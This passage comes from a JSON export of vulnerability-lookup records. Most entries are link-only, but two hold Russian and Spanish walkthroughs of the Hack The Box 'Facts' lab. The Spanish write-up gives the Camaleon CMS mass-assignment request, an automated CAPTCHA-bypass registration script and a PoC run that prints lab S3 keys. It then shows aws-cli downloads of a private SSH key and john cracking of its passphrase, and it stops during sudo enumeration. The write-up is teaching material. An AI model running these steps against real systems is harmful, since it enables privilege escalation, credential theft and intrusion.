\u0432\u00a0internal/.ssh/\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 ed25519 SSH-\u043a\u043b\u044e\u0447 \u27a1\ufe0f \u0431\u0440\u0443\u0442\u0438\u043c passphrase \u0447\u0435\u0440\u0435\u0437\u00a0john\u00a0+ rockyou.txt (ssh2john) \u27a1\ufe0f \u0437\u0430\u0445\u043e\u0434\u0438\u043c \u043f\u043e SSH \u043a\u0430\u043a\u00a0trivia\u00a0 \u27a1\ufe0f\u00a0sudo -l\u00a0\u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442: \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c\u00a0/usr/bin/facter\u00a0(Puppet system inventory tool, \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u043d\u0430 Ruby) \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f \u27a1\ufe0f \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u043c\u00a0--custom-dir\u00a0\u0441 \u043d\u0430\u0448\u0438\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u00a0.rb\u00a0\u0444\u0430\u0439\u043b\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0442 root \u27a1\ufe0f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c\u00a0root shell\n\n#\ufe0f\u20e3\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u043e Linux box - Facts, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Easy\n#\ufe0f\u20e3 \u0410 \u0432\u043e\u0442 \u0435\u0449\u0435 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0442 \u043a\u0440\u0443\u0442\u043e\u0433\u043e \u0447\u0435\u043b\u0430 - 0xdf\n\n\n\ud83c\udf39 \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u043a\u0430\u043d\u0430\u043b\u0430 \n\n#video #HTB #ippsec #0xdf #Walkthroughs", "creation_timestamp": "2026-08-04T13:00:25.453006Z"}, {"uuid": "01a1a691-0a01-4d1a-93be-900a1c0c2d33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2025-23042", "type": "published-proof-of-concept", "source": "https://github.com/gradio-app/gradio/security/advisories/GHSA-j2jg-fq62-7c3h", "content": "", "creation_timestamp": "2025-01-14T15:32:01.000000Z"}, {"uuid": "3225ff67-77b7-4118-b2e5-96c2d8371640", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "published-proof-of-concept", "source": "https://t.me/bagl3y_notes/270", "content": "\ud83d\udfe2 \u041d\u043e\u0432\u044b\u0439 \u0432\u0438\u0434\u0435\u043e-\u0440\u0430\u0437\u0431\u043e\u0440 \ud83d\udc9a \u0442\u0430\u0447\u043a\u0438 \u043e\u0442 ippsec'a\n\n\n\u2049\ufe0f   \u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u043c\u0441\u044f \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 Camaleon CMS 2.9.0 (Ruby on Rails) \u27a1\ufe0f \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u00a0mass assignment\u00a0\u0432 endpoint'\u0435\u00a0/admin/users/:id/updated_ajax\u00a0(CVE-2025-2304 -\u00a0params.permit!\u00a0\u0431\u0435\u0437 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438) \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c\u00a0password[role]=admin\u00a0\u0432 POST-\u0437\u0430\u043f\u0440\u043e\u0441 \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u043c \u0441\u0435\u0431\u044f \u0434\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u27a1\ufe0f \u0432 \u043f\u0430\u043d\u0435\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 S3-\u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0443\u00a0MinIO\u00a0(\u043f\u043e\u0440\u0442 54321) \u27a1\ufe0f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e\u00a0awscli\u00a0\u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0435\u043c bucket'\u044b, \u0432\u00a0internal/.ssh/\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 ed25519 SSH-\u043a\u043b\u044e\u0447 \u27a1\ufe0f \u0431\u0440\u0443\u0442\u0438\u043c passphrase \u0447\u0435\u0440\u0435\u0437\u00a0john\u00a0+ rockyou.txt (ssh2john) \u27a1\ufe0f \u0437\u0430\u0445\u043e\u0434\u0438\u043c \u043f\u043e SSH \u043a\u0430\u043a\u00a0trivia\u00a0 \u27a1\ufe0f\u00a0sudo -l\u00a0\u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442: \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c\u00a0/usr/bin/facter\u00a0(Puppet system inventory tool, \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u043d\u0430 Ruby) \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f \u27a1\ufe0f \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u043c\u00a0--custom-dir\u00a0\u0441 \u043d\u0430\u0448\u0438\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u00a0.rb\u00a0\u0444\u0430\u0439\u043b\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0442 root \u27a1\ufe0f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c\u00a0root shell\n\n#\ufe0f\u20e3\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u043e Linux box - Facts, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Easy\n#\ufe0f\u20e3 \u0410 \u0432\u043e\u0442 \u0435\u0449\u0435 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0442 \u043a\u0440\u0443\u0442\u043e\u0433\u043e \u0447\u0435\u043b\u0430 - 0xdf\n\n\n\ud83c\udf39 \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u043a\u0430\u043d\u0430\u043b\u0430 \n\n#video #HTB #ippsec #0xdf #Walkthroughs", "creation_timestamp": "2026-08-06T00:00:40.590445Z"}, {"uuid": "0d9ac93b-e5bc-4d09-b4e8-6cd649f4f773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "published-proof-of-concept", "source": "Telegram/tWZoDrkwC-8k-K5xEi2IWwCZKNeIR4iFSqkZ7WV-73KbXp4", "content": "", "creation_timestamp": "2026-06-06T19:00:11.000000Z"}, {"uuid": "fd59044d-eb6b-4c3f-b89b-c7fd60e5537d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "seen", "source": "Telegram/AdllQbcuiJ6ibIVVpcDfORf6Hf8QOv6lHxvkWRicfYVDSCg", "content": "", "creation_timestamp": "2026-08-27T12:00:04.966574Z"}, {"uuid": "0e2b9b86-dc72-43fa-9152-c856a637565c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "published-proof-of-concept", "source": "Telegram/AdllQbcuiJ6ibIVVpcDfORf6Hf8QOv6lHxvkWRicfYVDSCg", "content": "", "creation_timestamp": "2026-08-28T00:00:46.070641Z"}, {"uuid": "eb5c4509-7164-4215-8268-6aa312f79a06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23049", "type": "seen", "source": "https://t.me/reverseame/5414", "content": "Remote Code Execution and Authentication Bypass in Materialise OrthoView (CVE-2025-23049) #OrthoView #RCE #AuthBypass #DICOMsecurity #CommandInjection https://outurnate.com/remote-code-execution-and-authentication-bypass-in-materialise-orthoview-cve-2025-23049", "creation_timestamp": "2026-07-29T12:02:01.824261Z"}, {"uuid": "614165b3-5cce-402f-a145-3eb4f7b5c0b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23049", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mvzwdk3dmx2f", "content": "Remote Code Execution and Authentication Bypass in Materialise OrthoView (CVE-2025-23049)", "creation_timestamp": "2026-09-21T14:29:14.474533Z"}, {"uuid": "7478534a-eb95-4847-985f-b52385d814e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "seen", "source": "https://gist.github.com/VortekOffensive/3439734a6491498c93185412a3bf3f92", "content": "# Facts \u2014 HTB Writeup\n**Dificultad:** Easy\n**OS:** Linux\n**Autor:** Vortek Offensive\n**Fecha:** 2026-09-24\n\n---\n\n## Resumen Ejecutivo\n\nFacts es una m\u00e1quina Linux Easy que corre **Camaleon CMS 2.9.0** sobre Ruby on Rails. El foothold se obtiene explotando **CVE-2025-2304**, una vulnerabilidad de mass assignment que permite a cualquier usuario registrado escalar su rol a administrador. Una vez con acceso admin, las credenciales del backend de almacenamiento (**MinIO**) quedan expuestas en la configuraci\u00f3n del CMS. Dentro del bucket privado de MinIO hay una llave SSH privada protegida con passphrase, que se crackea con John the Ripper. El acceso al sistema llega como el usuario `trivia`. La escalada a root se logra abusando de `facter` \u2014 una herramienta de inventario de sistemas que puede ejecutarse con `sudo` sin password \u2014 mediante un custom fact malicioso escrito en Ruby.\n\n---\n\n## 1. Reconocimiento\n\n### 1.1 Escaneo de puertos\n\nEl primer paso es mapear qu\u00e9 servicios est\u00e1n expuestos en la red. Se us\u00f3 `nmap` con dos flags clave:\n\n- `-sV`: detecci\u00f3n de versi\u00f3n \u2014 nmap intenta identificar exactamente qu\u00e9 software y versi\u00f3n corre en cada puerto\n- `-sC`: scripts por defecto \u2014 ejecuta una colecci\u00f3n de scripts de enumeraci\u00f3n autom\u00e1tica (grabbing de banners, detecci\u00f3n de configuraciones comunes, etc.)\n\n```bash\nnmap -sV -sC \n```\n\n```\nPORT   STATE SERVICE VERSION\n22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)\n80/tcp open  http    nginx 1.26.3 (Ubuntu)\n|_http-title: Did not follow redirect to http://facts.htb/\n```\n\n**Puerto 22 \u2014 SSH (Secure Shell):** protocolo de acceso remoto cifrado. Permite ejecutar comandos en el servidor de forma segura. Su presencia no es explotable directamente sin credenciales, pero es el objetivo final \u2014 si encontramos una llave SSH o credenciales, entramos por aqu\u00ed.\n\n**Puerto 80 \u2014 HTTP con nginx:** nginx es un servidor web de alto rendimiento. La nota `Did not follow redirect to http://facts.htb/` indica que el servidor usa **virtual hosting** \u2014 responde diferente dependiendo del nombre de dominio en el encabezado `Host` del request HTTP, no solo de la IP. Hay que agregar la entrada al archivo `/etc/hosts` del sistema atacante para que las peticiones lleguen con el nombre correcto:\n\n```bash\necho \" facts.htb\" | sudo tee -a /etc/hosts\n```\n\n### 1.2 Escaneo completo de puertos\n\nEl scan por defecto de nmap solo revisa los 1000 puertos m\u00e1s comunes de un total de 65535 posibles. En m\u00e1quinas de HTB siempre se hace un scan completo para no perderse servicios no est\u00e1ndar:\n\n```bash\nnmap -p-  --min-rate 5000\n```\n\n```\nPORT      STATE SERVICE\n22/tcp    open  ssh\n80/tcp    open  http\n54321/tcp open  unknown\n```\n\nPuerto 54321 \u2014 fuera del rango com\u00fan. Un scan de detalle revela qu\u00e9 corre ah\u00ed:\n\n```bash\nnmap -sV -sC -p 54321 \n```\n\n```\n54321/tcp open  http    Golang net/http server\n|_http-server-header: MinIO\n|_http-title: Did not follow redirect to http://facts.htb:9001\n```\n\n**MinIO** es un servidor de almacenamiento de objetos de c\u00f3digo abierto. Para entender qu\u00e9 significa eso: Amazon Web Services tiene un servicio llamado S3 (Simple Storage Service) que permite guardar archivos en la nube \u2014 im\u00e1genes, backups, documentos, cualquier tipo de archivo binario. Esos archivos se organizan en \"buckets\" (contenedores), y se acceden v\u00eda una API HTTP bien definida. MinIO es exactamente lo mismo, pero instalable en servidores propios \u2014 es compatible al 100% con la API de S3 de Amazon, lo que significa que cualquier herramienta que sepa hablar con S3 tambi\u00e9n puede hablar con MinIO. Las empresas lo usan cuando quieren almacenamiento tipo S3 pero sin depender de AWS. En esta m\u00e1quina, MinIO est\u00e1 corriendo en el puerto 54321 como backend de almacenamiento del CMS. La consola web quiere redirigir al puerto 9001, que no est\u00e1 accesible externamente, pero la API S3 en 54321 s\u00ed responde.\n\n---\n\n## 2. Enumeraci\u00f3n\n\n### 2.1 Aplicaci\u00f3n web \u2014 Camaleon CMS\n\nAl visitar `http://facts.htb/` aparece un sitio de trivia \u2014 datos curiosos con im\u00e1genes. El c\u00f3digo fuente de la p\u00e1gina revela rutas de assets que identifican el CMS:\n\n```\n/assets/camaleon_cms/admin/admin-manifest-...css\n/assets/camaleon_cms/admin/admin-manifest-...js\n```\n\n**Camaleon CMS** es un sistema de gesti\u00f3n de contenido construido sobre Ruby on Rails. Un CMS (Content Management System) es una aplicaci\u00f3n web que permite crear y administrar el contenido de un sitio web sin necesidad de escribir c\u00f3digo directamente \u2014 se administra desde un panel web. Rails es un framework de desarrollo web en Ruby, conocido por su convenci\u00f3n sobre configuraci\u00f3n y su ecosistema de gems (librer\u00edas). Camaleon CMS espec\u00edficamente permite crear sitios con posts, p\u00e1ginas, plugins y temas personalizados, con un panel de administraci\u00f3n en `/admin`. Es un CMS orientado a desarrolladores y agencias que quieren flexibilidad sobre WordPress sin salirse del ecosistema Ruby.\n\nLa ruta `/admin` redirige a `/admin/login` \u2014 el panel de administraci\u00f3n.\n\nSe enumeraron directorios con `gobuster`, una herramienta de fuerza bruta de rutas web que manda requests HTTP a una lista de paths y registra cu\u00e1les responden:\n\n```bash\ngobuster dir -u http://facts.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,txt -t 40\n```\n\nHallazgos relevantes:\n\n```\nadmin   (Status: 302) --> http://facts.htb/admin/login\nsearch  (Status: 200)\nup      (Status: 200)\n```\n\nEl endpoint `/up` que responde con fondo verde es el health check est\u00e1ndar de Ruby on Rails 7+ \u2014 confirma el framework.\n\n### 2.2 Registro abierto y enumeraci\u00f3n del panel admin\n\nEl formulario de login en `/admin/login` incluye un enlace: \"Create an account\" apuntando a `/admin/register`. El registro est\u00e1 abierto al p\u00fablico sin ninguna restricci\u00f3n \u2014 cualquier persona puede crear una cuenta de usuario en el CMS.\n\nLa \u00fanica protecci\u00f3n es un CAPTCHA de imagen (texto distorsionado que el usuario debe transcribir). Sin embargo, la imagen del CAPTCHA se obtiene del mismo endpoint `/captcha?len=5` en la misma sesi\u00f3n de cookies que el formulario de registro, lo que permite automatizar el proceso: se piden la imagen y el formulario en la misma sesi\u00f3n, se resuelve el CAPTCHA con OCR, y se manda el formulario completo.\n\nPara resolver el CAPTCHA se us\u00f3 `ddddocr`, una librer\u00eda Python especializada en OCR de CAPTCHAs sin necesitar Tesseract:\n\n```bash\npip install ddddocr --break-system-packages\n```\n\nScript de registro automatizado:\n\n```python\nimport requests, re, ddddocr\n\nocr = ddddocr.DdddOcr(show_ad=False)\ns = requests.Session()\n\n# Se obtienen el formulario y el CAPTCHA en la MISMA sesi\u00f3n\nr = s.get(\"http://facts.htb/admin/register\")\ncsrf = re.search(r'authenticity_token[^>]+value=\"([^\"]+)\"', r.text).group(1)\nimg = s.get(\"http://facts.htb/captcha?len=5\").content\ncaptcha_text = ocr.classification(img)\n\ns.post(\"http://facts.htb/admin/register\", data={\n    \"authenticity_token\": csrf,\n    \"user[first_name]\": \"test\",\n    \"user[last_name]\": \"test\",\n    \"user[email]\": \"test@test.com\",\n    \"user[username]\": \"test1\",\n    \"user[password]\": \"test\",\n    \"user[password_confirmation]\": \"test\",\n    \"captcha\": captcha_text\n})\n```\n\nLa cuenta nueva tiene rol `client` \u2014 acceso m\u00ednimo. El sidebar del panel solo muestra el Dashboard. Los endpoints `/admin/media`, `/admin/users`, `/admin/plugins` redirigen de vuelta al dashboard sin permiso.\n\n### 2.3 Rabbit holes\n\nDurante la enumeraci\u00f3n se exploraron varios vectores que no llevaron a nada:\n\n**ERB injection en campos de perfil** \u2014 Camaleon tiene historial de vulnerabilidades de template injection. Se intent\u00f3 inyectar `<%= 7*7 %>` en el campo `user[first_name]` via el endpoint `/admin/users/{id}`. El campo se guardaba pero se escapaba como `<%= 7*7 %>` al renderizarse \u2014 el campo se muestra en un atributo `value=\"\"` de HTML, no interpolado por el motor de templates ERB de Rails.\n\n**SSRF via campo avatar** \u2014 se intent\u00f3 apuntar el campo `meta[avatar]` a un listener externo esperando que el servidor hiciera un request HTTP al guardar. El campo guardaba la URL como string pero no hac\u00eda ning\u00fan fetch server-side.\n\n**Mass assignment en endpoint de edici\u00f3n de perfil** \u2014 se intent\u00f3 pasar `user[role]=admin` en el endpoint `/admin/users/{id}`. No funcion\u00f3 porque ese endpoint s\u00ed filtra correctamente los par\u00e1metros. El endpoint vulnerable es uno diferente y espec\u00edfico.\n\n---\n\n## 3. Foothold \u2014 CVE-2025-2304\n\n### 3.1 Qu\u00e9 es Mass Assignment y por qu\u00e9 es peligroso\n\nAntes de entrar al CVE, hay que entender el concepto de **mass assignment**, porque es la causa ra\u00edz de la vulnerabilidad.\n\nEn aplicaciones web construidas con frameworks como Ruby on Rails, los datos de un formulario HTML llegan al servidor como un diccionario de par\u00e1metros \u2014 pares clave/valor. Por ejemplo, cuando un usuario edita su perfil y cambia su nombre, el request llega con algo como:\n\n```\nuser[first_name]=Juan\nuser[last_name]=P\u00e9rez\nuser[email]=juan@ejemplo.com\n```\n\nRails tiene un mecanismo para actualizar un registro en la base de datos a partir de esos par\u00e1metros de forma masiva \u2014 de ah\u00ed el nombre \"mass assignment\". En lugar de actualizar campo por campo, se pasa el diccionario completo y Rails actualiza todos los campos que coincidan con columnas en la base de datos.\n\nEl problema: si no se filtra qu\u00e9 campos se aceptan, un atacante puede agregar campos extra al request que el formulario original no ten\u00eda. Por ejemplo:\n\n```\nuser[first_name]=Juan\nuser[role]=admin\n```\n\nSi el servidor acepta ese `user[role]` sin validar, Rails actualizar\u00e1 el campo `role` del usuario en la base de datos. El atacante acaba de darse a s\u00ed mismo permisos de administrador.\n\nRails provee un mecanismo de protecci\u00f3n llamado **Strong Parameters**: el c\u00f3digo debe declarar expl\u00edcitamente qu\u00e9 campos acepta usando `permit(:campo1, :campo2)`. Cualquier campo no listado es ignorado autom\u00e1ticamente. Pero hay un shortcut peligroso: `permit!` \u2014 con signo de exclamaci\u00f3n \u2014 que acepta **todos los par\u00e1metros sin filtrar**. Es el equivalente a decir \"acepta todo lo que llegue\".\n\n### 3.2 La Vulnerabilidad \u2014 CVE-2025-2304\n\n**CVE-2025-2304** \u2014 Privilege Escalation through Mass Assignment en Camaleon CMS < 2.9.1.\n\nPermite a cualquier usuario autenticado (con el rol m\u00e1s b\u00e1sico) escalar su rol a `admin` enviando un par\u00e1metro extra en una petici\u00f3n al endpoint de cambio de password.\n\nEl c\u00f3digo vulnerable est\u00e1 en el m\u00e9todo `updated_ajax` del `UsersController`:\n\n```ruby\ndef updated_ajax\n  @user = current_site.users.find(params[:user_id])\n  update_session = current_user_is?(@user)\n\n  @user.update(params.require(:password).permit!)\n\n  render inline: @user.errors.full_messages.join(', ')\nend\n```\n\nL\u00ednea por l\u00ednea:\n\n- `params.require(:password)` \u2014 extrae del request todo lo que est\u00e1 bajo la clave `password`. Si el request tiene `password[password]=abc` y `password[role]=admin`, este m\u00e9todo devuelve `{ password: \"abc\", role: \"admin\" }`.\n- `.permit!` \u2014 acepta todo el diccionario sin filtrar. Deber\u00eda ser `.permit(:password, :password_confirmation)`, que ignorar\u00eda cualquier campo que no sea el password.\n- `@user.update(...)` \u2014 actualiza el modelo de usuario con todos esos campos, incluyendo `role`.\n\nEl developer quer\u00eda permitir que el usuario cambiara su password con cierta flexibilidad, us\u00f3 el shortcut `permit!`, y sin querer abri\u00f3 la puerta a que cualquier campo del modelo de usuario pudiera ser modificado desde el request.\n\n### 3.3 Versi\u00f3n afectada\n\nLa m\u00e1quina corre Camaleon CMS 2.9.0. La vulnerabilidad fue parcheada en 2.9.1 reemplazando `permit!` por una lista blanca de campos permitidos.\n\n### 3.4 Ejecuci\u00f3n\n\nEl exploit manda un POST al endpoint `/admin/users/{id}/updated_ajax` con el par\u00e1metro `password[role]=admin` junto con el cambio de password:\n\n```\nPOST /admin/users/5/updated_ajax\npassword[password]=test\npassword[password_confirmation]=test\npassword[role]=admin\n```\n\nRails procesa `params.require(:password)` y obtiene `{ password: \"test\", password_confirmation: \"test\", role: \"admin\" }`. Con `permit!`, los tres campos pasan sin filtro al `@user.update(...)`. El campo `role` del usuario se actualiza a `admin` en la base de datos. Al hacer logout y login nuevamente, la sesi\u00f3n carga el nuevo rol.\n\nSe us\u00f3 el PoC p\u00fablico con la flag `-e` para extraer las credenciales de S3 directamente desde la p\u00e1gina de configuraci\u00f3n del admin, que normalmente solo es visible con rol administrador:\n\n```bash\npython3 exploit.py -u http://facts.htb -U test1 -P test -e\n```\n\n```\n[+] Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)\n[+] Login confirmed\n   User ID: 5\n   Current User Role: client\n[+] Loading PRIVILEGE ESCALATION\n   User ID: 5\n   Updated User Role: admin\n[+] Extracting S3 Credentials\n   s3 access key: AKIA94FBE08D2D0C54B3\n   s3 secret key: RPz6Xs9VH3slzZeJU8Rb/ZWrKX3FwMiOZAO/GdDF\n   s3 endpoint: http://localhost:54321\n```\n\n---\n\n## 4. Explotaci\u00f3n de MinIO\n\n### 4.1 Qu\u00e9 es MinIO y c\u00f3mo funciona\n\nMinIO implementa la misma API que Amazon S3. Para interactuar con \u00e9l se puede usar `aws-cli` \u2014 la herramienta de l\u00ednea de comandos de Amazon Web Services \u2014 apuntando al endpoint local en lugar de a los servidores de Amazon. El flag `--endpoint-url` redirige todas las peticiones al MinIO local.\n\nLa autenticaci\u00f3n en S3/MinIO funciona con un par de claves: `Access Key ID` (equivalente al usuario) y `Secret Access Key` (equivalente al password). Ambas se obtuvieron de la configuraci\u00f3n del CMS.\n\n### 4.2 Listado de buckets\n\nUn **bucket** en S3/MinIO es un contenedor de archivos, similar a una carpeta de primer nivel. Cada bucket tiene su propio control de acceso (p\u00fablico o privado). Se listan los buckets disponibles con las credenciales obtenidas:\n\n```bash\nAWS_ACCESS_KEY_ID=\"AKIA94FBE08D2D0C54B3\" \\\nAWS_SECRET_ACCESS_KEY=\"RPz6Xs9VH3slzZeJU8Rb/ZWrKX3FwMiOZAO/GdDF\" \\\nAWS_DEFAULT_REGION=\"us-east-1\" \\\naws --endpoint-url http://facts.htb:54321 s3 ls\n```\n\n```\n2025-09-11 06:06:52 internal\n2025-09-11 06:06:52 randomfacts\n```\n\nEl bucket `randomfacts` es el que sirve las im\u00e1genes del sitio web (acceso p\u00fablico, ya confirmado durante la enumeraci\u00f3n). El bucket `internal` es privado \u2014 requiere las credenciales que acabamos de obtener.\n\n### 4.3 Contenido del bucket interno\n\n```bash\nAWS_ACCESS_KEY_ID=\"AKIA94FBE08D2D0C54B3\" \\\nAWS_SECRET_ACCESS_KEY=\"RPz6Xs9VH3slzZeJU8Rb/ZWrKX3FwMiOZAO/GdDF\" \\\nAWS_DEFAULT_REGION=\"us-east-1\" \\\naws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/ --recursive\n```\n\nLa estructura del bucket corresponde al directorio home de un usuario del sistema operativo:\n\n```\n.bash_logout\n.bashrc\n.profile\n.ssh/authorized_keys\n.ssh/id_ed25519\n.bundle/cache/...\n```\n\nAlguien sincroniz\u00f3 su directorio home completo al bucket de MinIO. Ese directorio incluye el directorio `.ssh/` con la llave privada SSH del usuario. Una llave SSH privada es el equivalente a una contrase\u00f1a para autenticarse en SSH \u2014 quien tenga la llave puede conectarse al servidor como ese usuario, siempre que la llave no est\u00e9 protegida con passphrase (o que se tenga la passphrase).\n\n### 4.4 Descarga de la llave y del authorized_keys\n\n```bash\nAWS_ACCESS_KEY_ID=\"AKIA94FBE08D2D0C54B3\" \\\nAWS_SECRET_ACCESS_KEY=\"RPz6Xs9VH3slzZeJU8Rb/ZWrKX3FwMiOZAO/GdDF\" \\\nAWS_DEFAULT_REGION=\"us-east-1\" \\\naws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 /tmp/id_ed25519\n\naws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/authorized_keys /tmp/authorized_keys\n```\n\nEl archivo `authorized_keys` contiene la clave p\u00fablica correspondiente a la llave privada descargada \u2014 confirma que esta llave es la que el servidor acepta para autenticaci\u00f3n SSH. Sin embargo, el comment del `authorized_keys` no tiene el nombre de usuario del sistema.\n\n### 4.5 Identificaci\u00f3n del usuario v\u00eda clave p\u00fablica derivada\n\nUna llave SSH ed25519 consiste en un par: la llave privada (guardada en `id_ed25519`, secreta) y la llave p\u00fablica (que se comparte libremente). La llave p\u00fablica se puede derivar de la privada en cualquier momento. El formato de una clave p\u00fablica SSH incluye tres campos separados por espacio:\n\n```\n  \n```\n\nEl comment, por convenci\u00f3n, es `usuario@hostname` de quien gener\u00f3 la llave. Para derivar la clave p\u00fablica de la privada:\n\n```bash\nssh-keygen -y -f /tmp/id_ed25519\n```\n\n```\nEnter passphrase for \"/tmp/id_ed25519\":\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP9DD+/BMv08ZJMmTTeMWCczoe/OHU3mEAsWEIU097kn trivia@facts.htb\n```\n\nLa llave est\u00e1 cifrada con passphrase \u2014 lo confirma que pide contrase\u00f1a antes de derivar la clave p\u00fablica. El comment revela que el usuario es `trivia`. Antes de poder usarla hay que obtener la passphrase.\n\n### 4.6 Crack de la passphrase con John the Ripper\n\n**John the Ripper** es una herramienta de cracking de contrase\u00f1as y hashes. El cracking de passphrase de llaves SSH funciona as\u00ed: la passphrase se usa para cifrar la llave privada con AES. John intenta cada contrase\u00f1a de una lista de palabras (wordlist), intenta descifrar la llave con esa contrase\u00f1a, y si la llave descifrada es v\u00e1lida, la contrase\u00f1a es correcta.\n\nPara que John pueda procesar la llave, primero se extrae el material criptogr\u00e1fico a un formato de hash con `ssh2john`:\n\n```bash\nssh2john /tmp/id_ed25519 > /tmp/id_ed25519.hash\njohn /tmp/id_ed25519.hash --wordlist=/usr/share/wordlists/rockyou.txt\n```\n\n```\ndragonballz      (/tmp/id_ed25519)\n1g 0:00:00:42 DONE\n```\n\nLa passphrase es `dragonballz`. El algoritmo de derivaci\u00f3n de clave usado es bcrypt con 24 rondas \u2014 costoso por dise\u00f1o para dificultar el cracking. Con rockyou.txt y 12 threads tard\u00f3 42 segundos.\n\n### 4.7 Acceso SSH\n\n```bash\nchmod 600 /tmp/id_ed25519\nssh -i /tmp/id_ed25519 trivia@facts.htb\n# passphrase: dragonballz\n```\n\n```\ntrivia@facts:~$\n```\n\n---\n\n## 5. Enumeraci\u00f3n Post-Acceso\n\nCon acceso al sistema como `trivia`, el primer paso es entender qu\u00e9 privilegios tiene este usuario y qu\u00e9 hay en el sistema:\n\n```bash\nid\n```\n\n```\nuid=1000(trivia) gid=1000(trivia) groups=1000(trivia)\n```\n\n```bash\nsudo -l\n```\n\n`sudo` (superuser do) es el mecanismo de Linux que permite a usuarios ejecutar comandos con los privilegios de otro usuario \u2014 generalmente root. El archivo `/etc/sudoers` define qu\u00e9 usuarios pueden 